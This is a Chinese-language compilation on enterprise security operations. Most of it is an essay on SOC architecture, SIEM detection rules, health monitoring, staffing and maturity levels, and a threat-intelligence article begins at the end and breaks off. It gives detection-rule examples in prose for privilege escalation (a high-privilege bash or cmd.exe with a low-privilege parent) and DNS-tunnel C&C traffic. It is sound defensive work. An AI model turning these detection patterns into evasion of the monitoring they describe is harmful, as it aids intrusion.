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漏洞运营

漏洞是网络安全的 ‘‘命门’’，软硬
件系统漏洞使得攻击者可以利用
漏洞窃取信息或者控制、破坏目
标系统，从而引发各种网络安全
问题。漏洞运营是白帽子个人以
及甲方安全、乙方响应各有侧重
但均需重视的工作，是其他工作
的砂石，铺垫好安全的道路。



企业如何构建有效的安全运营体系

作者：君哥

来源：https://mp.weixin.qq.com/s/JJkQ8S4qw0RigOoA9Xzhyw

1.0.1 引言

我们谈安全运营不是太多了，而是太少了。2019年 BCS北京网络安全大会最后一天下午，安全运营

分论坛邀请了 ATM、金融和安全公司内部安全团队等嘉宾，开讲安全运营话题，获得广泛关注。

让我们期待明年基于实战的安全运营技术讨论，包括海量日志采集和解析，运营规则优化，威胁

狩猎模型，溯源分析，自动化处置，安全反制等，明年见。

本文发表于 2019.08期《中国信息安全》杂志.安全运营专题，感兴趣的文末有专题汇总版。

在企业信息安全建设初期，在网络层、系统层、应用层、数据层等部署了一系列安全设备和管控

措施进行日常运维，并确保其稳定运行。但往往会发现安全状况并没有得到有效的改善，安全问题仍

然频发，究其根本原因，是没有进行有效的安全运营。那么，企业如何构建有效的安全运营体系呢？

1.1 1.安全运营是什么

有一些安全工程师非常喜欢写一个扫描器、做一个 HIDS的 DEMO、搭建一套大数据分析的平台、分

析某个漏洞的细节并研究 POC，这些工作都是有意义的，但是，这不是全部。‘‘手段不是目标’’，写出

一个扫描器，是手段，目标是为了提前检测出漏洞，减少公司因漏洞带来的安全风险，写出一个 HIDS

也是手段，目标是能够发现入侵事件，及时止损，搭建一套大数据分析平台同理。站在为目标负责的

角度，你的确写出来了一款扫描器，但是我使用开源产品或者商业产品同样拥有一款扫描器，除了让

你本人有成就感之外，究竟对目标作出了什么样的贡献？

‘‘我做出来了扫描器，可是没例行跑起来啊，因为一跑起来，把业务扫挂了/业务告警一大堆抗议

了. . . . . . ”

‘‘我的扫描器有例行跑，但是测试用例没人家的全啊，好多漏洞检测不出来啊”

‘‘我的测试用例特别全，集众家之所长，就是误报多了点，多到什么程度呢？每一个漏洞我都能检

测出来，但是伴随着成百上千的误报，所以得人肉一个一个筛选才能转发给 RD修复”

‘‘我的扫描器很厉害，就是目标 URL不在扫描列表里，经常不在列表里”

但是企业真的是为了我们做出来的扫描器、HIDS之类的手段而付费么？企业多数情况下是为产出

付费，而不是为知识付费。
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在大的公司，解决问题的需求很强烈，安全技术、安全管理、安全开发等角色都具备的前提下，老

板发现某一些安全问题总是无法收敛，最终，引入一类新的角色，对问题进行分析、诊断，发现症结

后，协调资源，终于实现了目标。自此，安全运营工程师就出现在了世人的面前。他们什么都做，看

起来没有技术含量，但他们的职责是比较清晰的：为项目的最终目标负责，从而不断诊断分析问题、

提出需求、协调各方资源，共同达成目标的人。这里最重要的是解决问题，一切影响目标达成的因素，

都是运营的职责。

参考上述内容，安全运营定义为：

‘‘为了实现安全目标，提出安全解决构想、验证效果、分析问题、诊断问题、协调资源解

决问题并持续迭代优化的过程”

职业欠钱

1.2 2.安全运营解决什么问题

让我们拿着显微镜，看看安全管理员每天的工作内容。安全管理员需要每天查看各类安全设备和软件

是不是正常运行；安全设备和系统的安全告警查看和响应处理如入侵检测、互联网监测、蜜罐系统、

防数据泄密系统的日志和告警，各类审计系统如数据库审计、防火墙规则审计，外部第三方漏洞平台

信息；处理各类安全检测需求和工单；有分支机构管理职责的还要督促分支机构的安全管理工作；填

报各类安全报表和报告;推进各类安全项目；有的还要付出大量精力应对各类安全检查和内外部审计。

做过基层安全运维的人对上述场景都会很熟悉，这是金融企业安全各个场景的缩影，但不是全貌。

如果一个企业只有少量人员、服务器和产品，那么上述内容就是企业安全工作的全部。但是，如果是

有万台服务器，几百个程序员，数以百计的系统，企业安全除了安全设备部署、漏洞检测和漏洞修复

外，还要考虑安全运营的问题，从工作量上看，这两类工作各占一半。

占据 ‘‘半壁江山’’的安全运营，重点要解决以下问题：

1）安全运营的第一个目标：将安全服务质量保持在稳定区间。

企业部署大量的安全防护设备和措施，在显著提升安全检测能力的同时带来问题，安全设备数量

急剧增多，如何解决安全设备有效性的问题？在应对安全设备数量和安全日志告警急剧增多的同时，

如何确保安全人员工作质量的稳定输出？安全运营的目标是要尽可能消除人员责任心等因素对安全团

队对外提供安全服务质量的影响。

举个例子，就像大餐和快餐，大餐靠的是名厨名师的发挥，如果今天这个名厨心情不好或者换个

新人，可能做出的产品质量就有非常大的下降。而快餐如肯德基，所有的操作都标准化和流程化，就

是初中毕业没学过烹饪，没练过的人经过短期培训和严格管理，也能确保炸出的薯条味道一模一样。

快餐的标准化流程和管理几乎完全消除了人的因素，确保对外提供的服务质量能够始终稳定，不会出

现大起大落的情况。

安全运营的目标之一，就是在企业变大，业务和系统日趋变复杂的情况下，在资源投入保持没有

大的变化情况下，尽量确保安全团队的服务质量保持在稳定区间。

2）安全运营的第二个目标：安全工程化能力。
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Figure 1.1: img

安全运营还需要解决的一个问题是安全工程化能力提升的问题。举个例子，企业内很多有经验的

安全工程师能够对怀疑一台服务器被黑进行排查溯源，查看服务器进程和各种日志记录，这是工程师

的个人能力。如何将安全工程师的这种能力转变成自动化的安全监测能力，并通过安全平台进行应急

响应和处理，让不具备这种能力的安全人员也能成为对抗攻击者的力量，这是安全工程化能力提升的

收益，也是安全运营关注的问题。

1.3 3.安全运营建设思路

从架构、工具和资源三个方面探讨安全运营的思路。

1.3.1 3.1架构

安全运营架构如下图 1所示：

图 1安全运营架构

为确保安全运营架构能够灵活扩展，推荐按功能模块划分成四个模块：安全防护框架、安全运维

框架、安全验证框架、安全度量框架。

1.安全防护框架的主要功能是通过不断的部署安全监测系统，提供实时检测的能力，称为安全感

知器 “Sensor’’，为安全运维框架提供 ‘‘天眼’’。时下流行的态势感知、入侵感知我理解为主要靠安全

防护框架来保障。
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Figure 1.2: img

2.安全运维框架的主要功能是统一采集安全防护框架各 Sensor的监测信息，并通过黑白灰名单处

理和关联分析（有很多厂商号称大数据智能分析，笔者理解为只是基于规则的数据挖掘），处理监测信

息并通过统一展示平台输出告警，进入事件处理平台和流程，人工介入处理。安全运维框架还包括安

全事件的定期 review和向管理层汇报，这部分可能比单个的事件处理要重要。

3.安全验证框架主要功能是综合通过黑盒白盒验证措施，确保安全防护框架和安全运维框架的有

效性。

4.安全度量框架主要功能是通过一系列安全度量指标，衡量评价安全运营质量水平，并针对性持

续过程改进，实现质量的螺旋上升。

1.3.2 3.1.1安全防护框架

安全防护框架的目的是部署尽可能多和有效的安全感知器 Sensor，这些安全感知器构成了信息安全的

‘‘天网’’，这部分是基础工作，也是传统安全的主战场，需要历经多年的持续投入积累。安全 Sensor的

部署遵循纵深防御的理念，如下图 20-2所示：

图 2安全防护框架

实际中可能远远不止上述这些 Sensor。比如网络层，可以把防火墙监测信息特别是 Deny信息采集

了，有些防火墙还自带 IPS功能如 CheckPoint的 SmartDefense，就是特别好用的安全 Sensor，交换机、

路由器的 ACS服务器信息、堡垒机登录信息、虚拟层虚拟主机操作信息、Windows、Linux主机日志、

有在主机部署安全客户端的监测信息、数据库审计系统监测信息、AD系统信息、存储备份系统操作

信息、KVM、ILO等带外管理系统信息、ITIL系统工单信息、应用系统应用信息如 OA系统应用日志、

SAP系统应用信息、公文传输系统日志、FTP数据传输日志。

企业基础安全的很大内容就是建设各类安全 Sensor，解决点状的安全问题和需求。比如企业防火

墙多了，如何管理防火墙规则的有效性和合规性，可能需要部署诸如 Algosec、firemon等防火墙规则

审计工具，审计发现的信息就可以作为安全运维框架的输入。如果想监测企业内网或服务器访问了哪

些恶意地址，可以采集类似 ArcOSI这样的开源恶意地址库。
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1.3.3 3.1.2安全运维框架

安全运维框架的建设目标是成为企业安全的大脑、神经中枢、耳目和手脚。在军队现代化作战体系中，

美军创造性的提出了 C4ISR作战指挥系统，即指挥、控制、通信、计算机与情报、监视、侦察。一个

完整的信息安全作战指挥自动化系统应包括以下几个分系统：基础架构平台、安全情报监视系统、数

据分析系统、安全控制系统。

1.‘‘大脑”-基础架构平台。基础架构平台是构成指挥自动化系统的技术基础，指挥自动化系统要求

容量大、速度快，兼容性强。

2.‘‘耳目”-安全情报、安全监视、侦察系统。主要是对安全防护框架中各安全 Sensor的安全信息的

收集和处理，实现异常行为的实时安全监测。

3.‘‘神经中枢”-数据分析系统。综合运用各类智能分析算法和数据挖掘分析技术，实现安全信息处

理的自动化和决策方法的科学化，以保障对安全控制设备的高效管理，主要技术是智能分析算法和模

型及其实现。

4.‘‘手脚”---安全控制系统。安全检测和控制系统是用来收集与显示安全信息、实施作战指挥系统

发出安全控制指令的工具，主要是各类安全控制技术和设备，如防病毒和主机安全客户端、防火墙等，

主要实现异常行为的实时安全控制。

安全运维框架实际落地时，企业会部署 SIEM、安全大数据等类似平台实现安全检测信息的统一采

集、分析处理和存储，大部分平台支持内置或自定义的黑名单检测规则进行实时检测。安全运维框架

还有很重要的一部分，安全事件的流程化处理和定期 review、汇报。安全事件的流程化处理应遵循企

业事件管理流程如 ITIL，通过自动化下发安全工单，发送告警邮件、短信等方式进行安全提醒，安全

事件确认和溯源分析主要通过人工分析和确认的方式进行。对于 100%确定异常的安全攻击通过自动

化方式进行阻断。同时通过安全事件日例会、周报、月报、年报等方式进行闭环管理，并进行必要的

管理层汇报。

1.3.4 3.1.3安全验证框架

安全验证框架解决安全有效性的问题，承担对安全防护和安全运维两个框架的功能验证。安全验证框

架是企业安全的蓝军，在和平时期，蓝军扮演着对手角色，利于及时发现、评估、修复、确认和改进

安全防护和运维框架中的脆弱点。包括白盒检测（过程验证）和黑盒检测（结果验证）两部分。

白盒检测（过程验证）是指建立自动化验证平台，对安全防护框架的管控措施实现 100%的全面验

证，并可视化集成至安全运维平台中，管控措施失效能够在 24小时内发现。通过自动化验证平台达到：

1.验证安全 Sensor安全监测功能有效；

2.验证安全 Sensor所产生监测信息到 SIEM平台的信息采集有效；

3.验证 SIEM平台的安全检测规则有效；

4.验证告警方式（邮件、短信与可视化展示平台）有效
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基于上述目标，自动化验证要求所有的验证事件必须为自动化模拟真实事件产生，不能使用插入

记录的方式产生，同时自动化验证事件应提供判断是否为验证事件的唯一标识，验证事件产生时间需

统一安排，防止集中触发。安全运维平台应能够监测到安全验证未通过的系统和规则，并产生告警信

息，通知安全运维人员介入处理。

黑盒检测（结果验证）是通过多渠道安全渗透机制和红蓝对抗演习等，先于对手发现自己的漏洞

和弱点。多渠道安全渗透机制目前常见的就是安全众测，红蓝对抗演习需要企业具有较高攻防技能的

安全人员，也可外聘外部专业机构完成，用于检测安全防护框架和安全运维框架的有效性。

1.3.5 3.1.4安全度量框架

安全度量框架主要用于衡量评价安全有效性，这是挺难的一件事，此处仅做些探讨。可以分成几个层

次。

一是技术维度。包括防病毒安装率、正常率，入侵检测检出率、误报率，安全事件响应时长、处理

时长，高危预警漏洞排查所需时间和完全修复时间。还可以考虑安全运维平台可用性、事件收敛率等。

合规性方面可以设置合规率、不合规项数量、内外部审计发现数量和严重度等；

二是安全运营成效。包括覆盖率、检出率、攻防对抗成功率。有多少业务和系统处于安全保护之

下，有多少无人问津的灰色地带，安全能在企业内部推动得多深入，多快速，这是需要综合技术和软

性技能的，成败主要系于安全团队负责人。检出率和攻防对抗成功率都是衡量安全有效性的有效指标，

安全团队即使不能拍着胸脯保证不出事，也不能靠运气和概率活，那持续提升检出率和攻防对抗成功

率就是努力的方向；

三是安全满意度和安全价值。安全价值反映在安全对业务支撑的能力，TCO/ROI，安全用多少资

源，支撑了多少业务，支撑的程度。安全价值还体现在内部的影响力以及对业务的影响力，是做微观

安全还是广义安全，是为业务带来正面影响还是负分拖后腿。安全满意度是综合维度指标，是对安全

团队和人员的最高要求，既要满足上级领导和业务部门对安全的利益诉求，又要满足同级横向其他 IT

团队对安全的利益诉求，还要满足团队内部成员的利益诉求，要提供最佳的安全服务，让安全的用户

成为安全的客户，让使用者满意，真的是非常非常有挑战的一件事情。

1.4 3.2. 工具

安全运营工具包括支撑安全运维框架实现的 SIEM平台、安全事件处理标准化流程工具 ITIL、安全控

制自动化工具三部分：

1.SIEM平台负责安全信息的统一收集和存储、基于检测规则的异常检测和告警

2.ITIL平台负责接收 SIEM平台发送过来的安全事件信息并据此产生 ITIL工单，推送到安全运营

人员处理和关闭。

3.安全控制自动化工具负责根据 SIEM平台下发的安全控制指令进行自动化操作，例如，检测发

现有外部攻击源，通过下发自动化指令实现防火墙或 IPS封禁该攻击源；检测发现某主机有可疑进程，

通过安全客户端收集该进程文件样本信息进一步手动分析；检测发现办公内网某用户计算机上有个可

疑操作非人工操作，疑似程序自动操作，可通过安全客户端提示用户手工确认等。
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SIEM平台、ITIL平台目前市面上成熟的产品不少，但安全控制自动化工具目前商业化程度不高。

1.4.1 3.2.1检测规则

如果有合适的检测规则，SIEM是个非常强大的工具，可以检测其他安全工具无法捕获的安全事件。

通常 SIEM的检测规则有三类：

1.单一检测条件规则

满足单一特定检测条件则触发告警。如服务器主机登录来源非堡垒机地址。满足该条件则告警，该

类型规则最简单，主要依靠安全 Sensor的监测能力和规则过滤能力。是攻击就一定有异常，关键是怎

么总结提炼出异常的特征加以检测，比如 Ayazero在《互联网企业高级安全》中提到的检测攻击提权，

‘‘某个高权限（system?uid=0）进程（bash?cmd.exe?）的父进程为低权限’’，是一个总结提炼异常特征

加以检测的很好案例。

2.跨平台安全监测信息关联检测

最典型的规则为基于资产脆弱性的攻击告警，关联分析漏洞扫描和入侵检测告警信息进行关联检

测。还比如防火墙 permit日志中有连接 ArcOSI中定义的恶意 IP地址信息。

该类型规则在跨平台系统监测信息之间进行关联，可以衍生出很多脑洞大开的检测规则。比如检

测安全违规行为，检测数据泄密，甚至人员可能离职等。这类规则检测效果的好坏取决于两点：一是

安全 Sensor的类型尽可能多和单个 Sensor能监测维度尽可能广；二是规则设计者的检测思维，就像

攻击者思维一样，需要脑洞大开，需要从 ‘‘猥琐’’处着眼。

3.针对长时间缓慢低频度攻击的检测规则

大部分的安全工具是以孤立方式识别潜在的安全事件，如 IDS监测到某台工作站发出的可疑流量，

然后从其他 20台工作站上监测到同类流量，在 IDS管理面板上，每个事件被当作单独事件处理（有

些 IDS厂商有高级功能），在 SIEM中可以编写规则，根据事件发生的频率触发不同的告警，如果在几

分钟内从 IDS传来 21次类似的事件可以触发一条规则。如果攻击者采取长时间缓慢低频度攻击入侵

企业内网，可以编写一条 SIEM规则，在较长时间内搜索特定事件，并在该事件范围内发生次数达到

某个阈值时告警。

更进一步，这种检测规则对于不是即时安全事件形式出现的日志也同样有效。如检测 DNS Tunnel

为例，DNS Tunnel用于将 C&C流量编码为 DNS请求，从被感染机器发出，通过被感染企业的 DNS服

务器到达 C&C服务器，然后再将响应返回给企业的 DNS服务器，由其转发给受感染的内网机器。正

常的 DNS查询都有一定频率，DNS Tunnel需要在网络上发送许多 DNS数据包，那么制定内网单台机

器对同一个域名的查询达到某个阈值（如 10分钟内 1000个查询）的规则可以有效检测 DNS Tunnel。

SIEM的检测规则还可以配置为在流量来源与旧模式不同时发出告警，也可以配置为在合法和以往

正确的流量突然呈现指数上升或者下降时发出告警，如过去 90天内产生一定数量日志的Web服务器

突然开始产生于 10倍于正常数量的日志，这可能是被入侵主机用于向其他主机发动攻击的迹象。通

过 SIEM规则，安全团队可以根据流量的标准差制定告警，如达到 10个标准差阈值就告警。
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1.4.2 3.2.2健康度监控

从很多攻防案例中，防御方失败的原因主要归结于安全防护失效，其中 SIEM平台工具健康度出了问

题是比较常见的，包括：安全 Sensor安全监测信息采集器失效、SIEM检测规则失效、安全告警失效、

安全告警处理失效等。

1.安全检测信息采集器失效的原因主要是未对采集器的物理机器性能监控、采集数据正常监控、

采集数据日志解析和映射入库（Parser）异常等。

2.SIEM检测规则失效包括设定条件无效、阈值无效、规则未生效等，有时告警阈值设置不合理频

繁告警，SIEM平台会自动禁用规则导致规则无效。

3.安全告警失效，包括邮件、短信网关配置无效，配置用户失效、网络失效、配置变更异常、手机

号码设置错误等等。

4.安全告警处理失效主要是人的因素，比如多条告警短信，选择性的忽略，假阳性告警太多淹没

了真正有威胁告警等。

值的一提的是安全 Sensor自身的安全性。韩国在 2013年 3月 20日下午 2点，包括新韩、农协和

济洲等 3家银行与 KBS（韩国广播公司）、MBC（韩国文化广播公司）等 2家电视台，超过 32,000台

电脑以及部分 ATM提款机，都在同一时间宕机，无法重新启动。黑客首先入侵了韩国防病毒软件厂商

AhnLab（安博士）的病毒定义更新服务器，利用病毒库定义升级机制，将恶意软件分发到用户的计算

机，在用户的计算机上安装执行恶意程序。调查发现，另一家防病毒软件公司 ViRobot也被黑客利用。

试着设想一下，如果你在企业内部部署的安全 Sensor接受更新的是恶意软件. . . . . .，不寒而栗。因

此，做好安全 Sensor的安全性的重要性，无需再做强调，只需注意几个原则：

1.控制指令仅允许固化的指令，严禁在 Sensor端预留执行系统命令接口；

2.更新包必须经过审核之后上传至更新 Server保存，更新仅允许选择更新 Server上以后的安装包，

最好校验更新包的MD5；

3.控制指令下发时必须人工审核确认后才执行。

4.为可用性起见，更新最好分批分区域完成，否则由于大量更新包的下载导致生产网被堵塞，恐

怕也是不可承受之痛。

1.5 3.3. 所需资源

资源一般包括流程与机制、组织架构、人员等，是实现安全运营的保障性措施。

1.5.1 3.3.1流程与机制

有效果、高效率的安全运营流程与机制，是非常重要的。安全运营流程的核心是做好两个标准化的流

程：安全事件处理流程、安全运营持续改进流程。

1.安全事件处理流程。
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Figure 1.3: img

定义什么级别的事件该由什么样的人，在什么时间按什么标准处理完成。一个外部攻击扫描，和

一个内部分支机构持续不断的高权限账户猜解，两者安全级别肯定不同。前者最多为普通或关注事件，

由安全一线工程师下发一个指令，在防火墙上自动封禁该外部 IP地址一段时间即可。后者需要定义

为高风险事件，需立即由有经验的安全二线工程师或安全专家联系分支机构进行溯源排查，有可能是

中了金融行业的特种木马，有可能是网络蓝军在偷袭，还可能真的是有攻击者进来了。不管如何，发

现这些问题，就意味着安全感知能力已经往前进步了，安全终于不再是靠运气和概率活着。

2.安全运营持续改进流程。

安全事件的闭环管理，每笔安全事件的处理结果最终必须为误报或者属实，二者必选其一。如果

是误报，必须改进 SIEM安全检测规则或安全 Sensor监测措施。如果属实，好的一面是安全检测能力

有效，坏的一面是坏人已经进来了，那就需要根据坏人已经突破的层面，进行针对性的改进。安全运

营持续改进要求每天、每周、每月都坚持进行安全事件 review，有可能重要事件被一时大意的一线人

员放过，也可能是其他原因。

安全运营持续改进流程的质量可能决定了整个安全运营质量。

聂君

1.5.2 3.3.2组织与人员

我们期望的大型安全部门组织架构图应该是这样子，如下图 20-3所示：

图 3期望的大型安全部门组织架构图

实际工作中安全部门组织架构图却是这样子，如下图 20-4所示：

图 4实际工作中安全部门组织架构图

理想很丰满、现实很骨干，理想和现实总是有差距的。

团队规模方面，互联网公司阿里和腾讯，其安全团队的规模大约在 2000人左右，总员工数约 30000

多人，安全团队人员占总员工人数约 7%左右，金融行业和这个比例差距还比较大。国内股份制银行

总行安全团队规模一般约 10-20人，总行 IT人员从几百到几千不等。券商普遍安全团队人数在 2-5人

之间，个别券商的安全团队有 7人，已经算是 ‘‘豪华配置’’了。
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Figure 1.4: img

作为金融企业安全部门中的一个重要团队，安全运营的实现肯定也离不开组织与人员，以下是推

荐的安全运营团队配置：

证券公司安全运营人员建议按 1:2:3比例配置。即一个安全运营平台运维人员，包括服务器和应

用运维，该部分可以交给 IT部门的运维团队代为运维。2个安全人员互备，一个负责安全 Sensor建

设，一个负责安全检测规则和安全二线，事件调查、回顾与汇报、持续改进。3个外包安全一线，负责

7*12事件响应和初步调查确认。

股份制银行安全运营人员推荐配置为证券公司的 2-3倍，外包人员还可视事件类型和数量增加。

1.6 4. 安全运营的思考

有了架构、工具、资源，安全运营一定就能做得尽如人意吗？答案显然是否定的。因为实际工作中，

还会遇到这样那样的问题，需要时刻保持思考，并做出适应和改变。

1.6.1 4.1难点

互联网行业的安全建设引领全行业的发展，原因是什么呢？人财物资源投入大？自由市场竞争充分？

我认为最重要的原因是，面临解决实际安全问题的压力和需求时，采用了最快最有效的解决问题的安

全方案。如果直接采用传统行业的传统安全解决方案，来搞定互联网行业的安全问题和需求，无疑是

行不通的。所以互联网行业做安全的关键词是有效解决实际问题。

在 2010年以前，我们和国内金融行业同仁交流的时候，做安全的思路普遍还在监管合规 +设备部

署的阶段。我认为这是合理的。安全是和需求相匹配的，金融行业是牌照行业，监管合规是安全的首

要和最重要需求，安全团队在这个阶段最大化的满足监管合规的目标。同时由于国家对金融业的法律

保护等客观因素，金融行业的业务系统面临的风险远没有互联网行业高。

但在 2010年后，由于网上银行、移动金融的快速发展，以及国内互联网安全环境的进一步恶化，

金融行业的安全需求开始发生深刻变化，需要有效解决实际安全问题。监管合规和设备部署经过历年

不断的持续改进提升，但还是会不断的出现安全事件，方向在哪？笔者的理解是，从设备部署向安全

有效运营的方向转变，是个不错的思路。
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安全运营的核心是安全运维框架，承载安全运维框架的是 SIEM平台或 SOC平台。在金融行业微

信群里经常遇到一个问题，为什么 SOC容易失败？这个问题，可以等同理解为，安全运营的难点在哪？

（1）企业自身基础设施成熟度不高

安全运营的质量高低和企业自身基础设施的成熟度有很大关联。如果一个企业自身的资产管理、

IP管理、域名管理、基础安全设备运维管理、流程管理、绩效管理等方面不完善，甚至一团糟，安全

运营能独善其身、一枝独秀吗？防病毒客户端、安全客户端的安装率、正常率惨不忍睹，检测出某个

IP有问题但却始终找不到该 IP和资产，检测发现的安全事件没有合理的事件管理流程工具支撑运转，

检测发现内部员工不遵循规范导致安全漏洞结果无任何约束，那安全运营能做什么呢？还是把点的安

全做好，再考虑安全运营比较合适，比如首先把防病毒客户端运营好。

（2）安全运维不能包治百病

安全运维不能包治百病。由于安全运维框架并不自身具有安全监测能力，安全监测依靠安全防护

框架，SOC平台自身不产生信息，需要通过安全防护框架建设一系列安全 Sensor，才能具备较强的安

全监测能力，才能在企业内部具有一双安全之眼，所以安全运维建设不能代替安全防护建设，该部署

的安全系统、安全设备还是要建。

（3）难以坚持

安全从业者们都有一个朴素的愿望，就是希望能有一双上帝之手，帮我们解决所有的问题。安全

问题，往往都很棘手，我们的直观反映总是希望能有一个成本比较低，时间消耗比较少的安全解决方

案，可总是事与愿违，因为安全没有速成，没有捷径。但凡和运营相关的，其实都不是高大上的事情，

往往是和琐碎、棘手、平淡相关，甚至让人沮丧，所以安全运营难以坚持。坚持把每个告警跟踪到底，

坚持每天的安全日例会，坚持每周的安全分析，坚持把每件事每天都做好，是最难的。

1.6.2 4.2安全检测为什么会失效

单点检测和防御，和企业内规模化检测和防御，这是两个概念，很多单点检测和防御很有效，但在企

业内上了规模后就会出现安全检测失效的问题，严重的甚至导致无法推广和部署，最终不得不取消。

实践中如果某次安全攻击没有检测到，是非常好的提升企业安全运营能力的一次机会，这意味着一定

是某个环节弱化导致安全检测失效了。

通过每一次对问题的排查和解决，就可以逐步实现安全运营能力的进步。一般排查的顺序是：单

点检测深度不足->覆盖率不足->安全运维平台可用性出了问题->告警质量问题->人的问题。

首先是单点检测手段不足导致，可能是检测的正则表达式写的不好，或者是攻击者使用的方式没

有预先考虑到，也可能现有的安全防护框架的安全监测根本就监测不到。针对性的改进提升就可以了。
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第二是覆盖率不足导致。出现问题的机器或网络区域就没有部署安全监测产品，即使有监测能力，

也会因为没有部署而导致检测失效。比如防病毒客户端安装率和正常率只有 80%，那即使针对已知恶

意程序，也只有不超过 80%的概率能够监测发现。这个问题其实是目前很多企业安全问题的现状，有

监测设备和能力，但安全检测失效。更要命的是大家往往不重视这些灰色地带，投入重金和重要精力

去测试引入部署那些安全概念产品，防 APT、威胁情报、态势感知等等，其实这几样哪能离得开那些

安全监测设备呢？所以这个问题的根本解决方案，就是把部署率、正常率提升上去。关于企业安全灰

色地带，有几个值得关注的地方：

（1）无人关注的资产，特别是互联网资产。漏洞通报平台报出的很多安全漏洞，得到的企业回复很

多是：这是一台（测试/即将下线/无人使用/外包人员使用. . . . . .）的设备，我们已关闭。这些资产除了

服务器，还分配了的互联网 IP、域名，不在安全监测里的系统和应用；

（2）开放在互联网上的管理后台、高危端口、文件上传点；

（3）各种已被爆漏洞的第三方应用；

（4）弱口令，包括系统弱口令、应用弱口令、用户弱口令等各种弱口令，如果解决好了口令的问题，

保守估计可以解决企业 50%的安全问题。

第三是安全运维平台可用性出了问题，在前面介绍了 SIEM健康度监控的问题，这块也是安全检

测失效的重要原因之一。

第四是告警质量的问题。SOC被诟病最多的是采集了大量数据，但往往不能判断哪些是真正需要

关注的告警。告警有效性较低，导致大量需要人工确认，管理成本太高。安全检测规则的设计不足导

致告警数量太多，从而导致安全运营人员选择性的忽略。

第五是人的问题。机制流程也可以理解为是人的问题。如果前述原因排除，还是有安全检测失效

的问题，那应归结于人的问题。比如人的责任心问题，快到下班时间了，匆匆把告警确认关闭敷衍了

事；或者人的安全技能不足，不能有效调查判断实际安全问题。

1.6.3 4.3白名单还是黑名单

目前绝大多数安全防护措施、安全检测规则，无论吹的多高大上，基本都还是基于黑名单原则，满足

黑名单规则的给出告警。黑名单的优点显而易见，假阳性较低，认知理解容易，缺点是漏报率高，能

不能检测到安全威胁，很大程度上需要靠概率和运气。

如果从安全有效性角度出发，白名单可能会越来越受到重视。白名单的缺点是假阳性较高，运营

成本高，所以需要安全检测具有自学习能力（姑且称为人工智能），形成自动或半自动可收敛的安全检

测规则。这块希望能尽快有成熟的商业产品，解决企业的痛点。
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1.6.4 4.4需要什么样的安全和安全运营

企业需要什么样的安全和安全运营？适合自己的就是最好的，或者说投入和收益比最大的就是最好的。

企业的安全投入跟公司的规模和盈利能力相关，公司规模大，盈利能力强，处于发展期时，预算和人

员编制都会增加，业务停滞时安全做的再好也不会追加投入。因为在甲方，安全不是主营业务，信息

技术部门已经是公司的中后台职能型部门，安全团队是信息技术部门中的中后台，谓之后台中的后台。

所以：

适合自己就是最好的。

聂君

企业安全建设有个阶段论：

第一阶段：如果基本的安全体系尚不完备，处于救火阶段或者安全体系化建设捉襟见肘，APT攻

击可以先放一边不管，先把安全中需要快速止血的工作做好，这就是基础安全工作，这部分工作远没

有高大上，但却是最基础最有用的 ‘‘保命’’工作，不需要太多额外投入就可以规避 80%的安全问题，

让企业有一个最基础的安全保障。

第二阶段：系统建设阶段，建设各种安全监测防护手段，以及各类安全规范和安全流程，一般采用

27001体系 +商业解决方案 +少量自研可以实现。

第三阶段是安全高阶建设，这阶段基本商业产品很难满足企业安全需求了，以自我研发和自动化

智能化为特征，核心还是以解决企业遇到的安全问题，解决实际安全问题为目标。能进入这个阶段的

企业不多，但基本代表了该行业的未来发展方向。

类似软件能力成熟度模型 CMMI，安全运营也有个成熟度问题：

（1）一级：自发级。部署了一些较为基础的安全措施和管控，单点防御投入了较多人力财力，比较

依赖于厂商，对于企业安全没有整体把控。

（2）二级：基础级。具有安全运营的理念并付诸行动，建立了较为完善的安全防护体系，并通过安

全运营保障安全有效性，具有攻防能力的个人或团队，能够解决实际安全问题。

（3）三级：自动化级。具有自动化监测、响应、处理甚至反击能力，对企业自身安全现状和能力具

有全局掌控力，具有入侵感知能力，能进行一定级别的攻防对抗。

（4）四级：智能级。采用了白名单的安全防护原则，具有真正意义的智能安全检测，能够对偏离正

常行为模式的行为进行识别。

（5）五级：天网级。天网恢恢疏而不漏，让所有恶意行为无所遁形。这级别的安全，出于一个理想

状态，目前为止还没有真实案例。

无论怎样，金融企业还是要坚持适合自己就是最好的原则。如果需求是一辆自行车，结果来了一

辆专机，结果也未必一定好。
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1.7 5结语

我一直在企业安全建设中提倡安全运营，确保安全有效性，并在君哥的体历公众号中发表了三篇安全

运营建设之路的文章。最近欣闻不少银行总行纷纷建立了安全运营团队，规模都在 30+以上，虽和互

联网大厂还有很大差距，但相比过去已经是非常之大手笔。相信很多大行，股份制行，城商行，证券

公司都会跟进，安全运营是企业安全建设实际落地的必由之路。安全运营，无论是体系方法论，还是

工具产品，还在快速发展完善中，有志于此的读者可以重点关注。

目前制约安全运营发展的最大因素有两点，一是没有特别好的商业化工具，能够结合企业内部的

流程和人员，提高安全运营效率。据我所知，很多安全乙方准备在此领域发力。二是一万个安全负责

人心中有一万个安全运营，打法思路各异，没有形成统一的安全运营标准。笔者和两位志同道合的朋

友正在从事这方面的开源工作，欢迎加入我们。

《中国信息安全》安全运营专题下载：

链接:https://pan.baidu.com/s/1SS7OdDHt433n8glbDDRt3w密码:zgrk

联系方式：

邮箱：niejun2002@gmail.com

Github：https://github.com/jun1010/secbuild

微信公众号：君哥的体历（jungedetili）

部分观点和内容参考以下文章，表示感谢。

1.《我所理解的安全运营》，职业欠钱
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大型互联网企业威胁情报运营与实践思考

作者：中文（e1knot）

来源：https://security.meituan.com/#/blogNews/30

2.1 0x00大规模系统下的威胁

随着用户数量、业务量的增长，互联网企业的业务系统也变得越来越复杂，大量的访问日志、庞大的

代码仓库、数十万或百万计的 IDC资产以及几万种开源组件构成了庞大的业务系统，但是随之而来的

是大量的威胁，体现在了可产生告警的设备数量非常大，使得产生的告警非常之多，并且部分告警是

完全无效或者不可运营的。正是由于告警数量的庞大，安全运营团队背负着巨大的心理压力和负担去

处理，最后发现是个误报或者说是个无意义的告警，久而久之安全运营就会疲于应付告警，这个时候

一旦有攻击出现，往往就会在很短的时间内失去整条防线，也就是经常说的一个段子：每年在安全上

砸了一堆钱，但是实际上还是很容易被人家打进来了。庞大的资产、日志、流量，加上海量的不可运

营的告警，也就间接对业务系统产生了大量的威胁。

通过对各种角度上的威胁进行梳理后，我们可以把整个互联网企业可能面临的安全威胁分为三大

类，一类是以通用组件漏洞、僵木蠕为首的面向基础设施的威胁，第二类是以业务系统缺陷、越权漏

洞为代表的面向业务系统的威胁，第三类是以 POI/UGC爬取、欺诈流量（也就是刷差评/好评的）等

